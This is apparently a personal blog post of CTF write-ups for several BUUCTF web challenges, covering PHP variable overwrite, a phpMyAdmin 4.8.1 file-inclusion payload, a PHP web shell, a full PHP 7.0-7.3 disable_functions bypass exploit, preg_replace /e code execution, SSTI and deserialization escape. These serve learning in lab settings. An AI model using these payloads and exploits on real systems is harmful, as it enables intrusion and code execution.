BUUCTF_WEB_20200923

WEB-[BJDCTF2020]Mark loves cat

  • 变量覆盖漏洞

看了半天没啥发现,如何拿disearch扫一下发现存在/.git源码泄露,用githack来一波,接着发现有两个php文件

flag.php:

<?php
$flag = file_get_contents('/flag');

index.php

<?php
include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){      #get参数中flag的值绝对某个键名且键名不能有flag
        exit($handsome);
    }
}
#不存在get型flag参数且不存在post型flag参数
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}
#post型flag参数值绝对等于flag或者flag参数值绝对等于flag
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

##如果像达到要求
#get参数中flag的值要等于某个键名或者get参数中键名有flag
#存在get型flag参数或者存在post型flag参数
#post型flag参数值不绝对等于flag且get型flag参数值不绝对等于flag
echo "the flag is: ".$flag;

发现了变量覆盖漏洞

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

如果 get型flag参数绝对等于变量名并且变量名等不等于flag则执行 exit($handsome);

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

如果不存在get型flag参数并且存在post型flag参数,则执行exit($yds)

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

如果post型flag参数绝对等于flag或者get型flag参数绝对等于flag执行 exit($is)

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

在这个里面,首先是 $x=yds,$=flag 。把它带进foreach里面,就变成了$yds=$flag 。$$x就相当于是$($x),这样就非常好理解变量覆盖漏洞了。

exit也能输出变量通过分析发现第一个判断不能用根据第二个判断get提交参数yds=flag通过变量覆盖变成$yds=flag根据第3个判断可以使用get提交s=flag&flag=flag

flag

flag{6ed5e83f-880b-4ec5-96b5-210b7424a68d}

WEB-[GWCTF 2019]我有一个数据库

  • phpmyadmin版本漏洞

拿到后没有说明思路,disearch扫一波,发现一个可以访问的目录 http://50a82823-1aa2-493a-bde6-38c5b8c957a0.node3.buuoj.cn:80/phpmyadmin/

这里phpmyadmin的版本号为4.8.1,这个版本的phpmyadmin存在文件包含漏洞使用网上的payload直接打

?target=db_datadict.php%253f/../../../../../../../../etc/flag

flag

flag{2c297092-9cca-4d16-ba15-15be67929c15}

WEB-[GKCTF2020]CheckIN

打开之后是这样的,没有发现反序列化函数,但是发现有一个@eval,想到了一句话,这是用base64进行传参,首先传参phpinfo();看看,需要经过base64编码

观察disable_functions有许多危险的函数,可以尝试上传一个马,eval($_POST[123]);,经过base64是ZXZhbCgkX1BPU1RbMTIzXSk7构造payload:http://a78430e4-c08c-486b-95d7-6a80734de8e4.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX1BPU1RbMTIzXSk7

打开flag后却没有东西哦,有一个readflag文件

然后怎么办,我在不会了。。。看了大佬的wp后才知道做题要注意版本通过phpinfo()知道php版本为7.3,这个版本有一个漏洞php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令影响范围是linux,php7.0-7.3给出了exp,https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php下载后进行修改,改为执行readflag

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("/readflag);

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;

        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

然后通过蚁剑进行上传这里发现tmp目录权限是1777,于是决定上传到这个目录,通过之前的一句话来执行文件包含,得到flag

flag

flag{c2b673a6-47d9-4975-a950-b56a3f8d18ce}

WEB-[BJDCTF2020]ZJCTF,不过如此

分析代码,ge传入两个参数text和file,text参数利用file_get_contents()函数只读形式打开,打开后内容要与"I have a dream"字符串相匹配,才能执行下面的文件包含$file参数。看到用的是file_get_contents()函数打开text参数,以及后面的文件包含函数,自然的想到php伪协议中的data://协议

源码中提示我们去包含next.php文件,所以我们利用php://filter协议去读下next.php的源码。于是构造payload:index.php?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

回显一串base64加密密文,进行解密

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

/e模式的preg_replace,有一个远程代码执行漏洞。思路是利用这个代码执行,执行源码中的getFlag()函数,在传入cmd参数,再利用getFlag中的eval()函数,再进行一个代码执行。于是构造Payload:next.php?\S*=${getFlag()}&cmd=system('cat /flag');

flag

flag{2baf1de4-ca58-4aa2-8edd-5c2bbc7e28ba}

WEB-[BJDCTF2020]The mystery of ip

进入index.php并没有发现什么比较明显的提示,打开Hint然后F12提示 Do you know why i know your ip?

猜测是通过XFF头来获取信息的,发个HTTP请求添加一个XFF头测试一下:X-Forwarded-For: test

可以看到此时显示的IP已经变了,猜测存在ssti,构造一个表达式Payload测试一下:X-Forwarded-For: {{system('ls')}}

然后继续查看flag.php

flag

flag{52ba6700-1244-4160-8a2d-1f885d1945db}

WEB-[BJDCTF 2nd]假猪套天下第一

  • 套娃重放

用amdin登陆提示错误,用其他用户名登陆成功,登陆成功后有提示

抓一下包,发现有提示,有一个L0g1n.php

点进去后,提示99年后开放

我们抓一下包,修改一下时间戳,再访问


修改时间戳重发以后会提示Sorry, this site is only optimized for those who comes from localhost意思是只能本地用户访问,添加Client-ip进行绕过

添加Referer继续

这里是个UA,替换UACommodore 64

添加邮箱

继续添加代理

终于得到一串阳间的加密了ZmxhZ3s2ZjExNWJmZS0yZWZiLTQ5ODEtODk3OC0zNGQ0MmRmNjIwZDl9Cg==

flag

flag{6f115bfe-2efb-4981-8978-34d42df620d9}

WEB-[0CTF 2016]piapiapia

  • 考点:参数传递数组绕过字符串检测、反序列化字符逃逸

输入账密,回复无效,dir扫一下目录,有www.zip

在config.php中有变量flag,但为空,flag应该在服务器的config.php文件中,要找可以利用的漏洞读取服务器的flag

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

继续分析代码有注册功能,且代码中要求必须注册才能进行其后的操作;update.php中对用户填写的信息进行了一些限制,且将信息序列化保存;class.php 中的 filter 也对用户信息进行了限制

1、update.php(1)phone 长度为11位;(2)nickname长度小于 10 位,且只能为字母和数字;(3)将用户填写的 phone、email、nickname 以及上传的 文件进行序列化


<?php
require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';

class.php 中的限制:(1)update_profile 中对 new_profile 用 filter 进行了过滤;(2)filter 中将 ‘select’, ‘insert’, ‘update’, ‘delete’, ‘where’ 等词用 ‘hacker’ 替换掉.

<?php 
......
public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
.....

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
......

profile.php(1)将序列化后的用户信息进行了反序列化,且读取了上传的 photo 文件内容(2)用base64编码对上传文件进行了读取和显示

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));

突破:php反序列化字符逃逸PHP在反序列化时,从左往右读取数据类型及长度,且只读取其中规定长度的数据,即当数据的长度大于规定的长度,后面还有数据也不再读取,而后面不再读取的数据,就会被挤到下一个数据项中。这里需要构造超出长度的数据,将被挤出来的数据形成可以读取config.php 的数据项。构造数据(1)选择构造数据的位置:构造数据要被挤到 photo 的位置,那么需要在 photo 前一个数据项,即 nickname 的位置,构造超出规定长度的数据;(2)绕过限制:前面对 nickname 限制了长度为 10 ,这里要将其改为数组绕过(3)获取构造数据长度

<?php
$profile['phone'] = '12345678990';
$profile['email'] = '123@123.com';
$profile ['nickname'] = ['abc'];
$profile['photo'] = 'config.php';
echo serialize($profile);

进入update.php抓包修改nickname为数组

然后回到profile.php解码base64

具体步骤:

  • 注册账户
  • 登录账户
  • 随意提交一些资料抓包
  • 修改nickname为nickname[],数组绕过长度检测
  • 修改nickname中的内容

flag

flag{679adb16-ba23-4a92-b54f-151eed927315}

posted @ 2020-09-23 21:49  WANGXIN_YU  阅读(460)  评论(0)    收藏  举报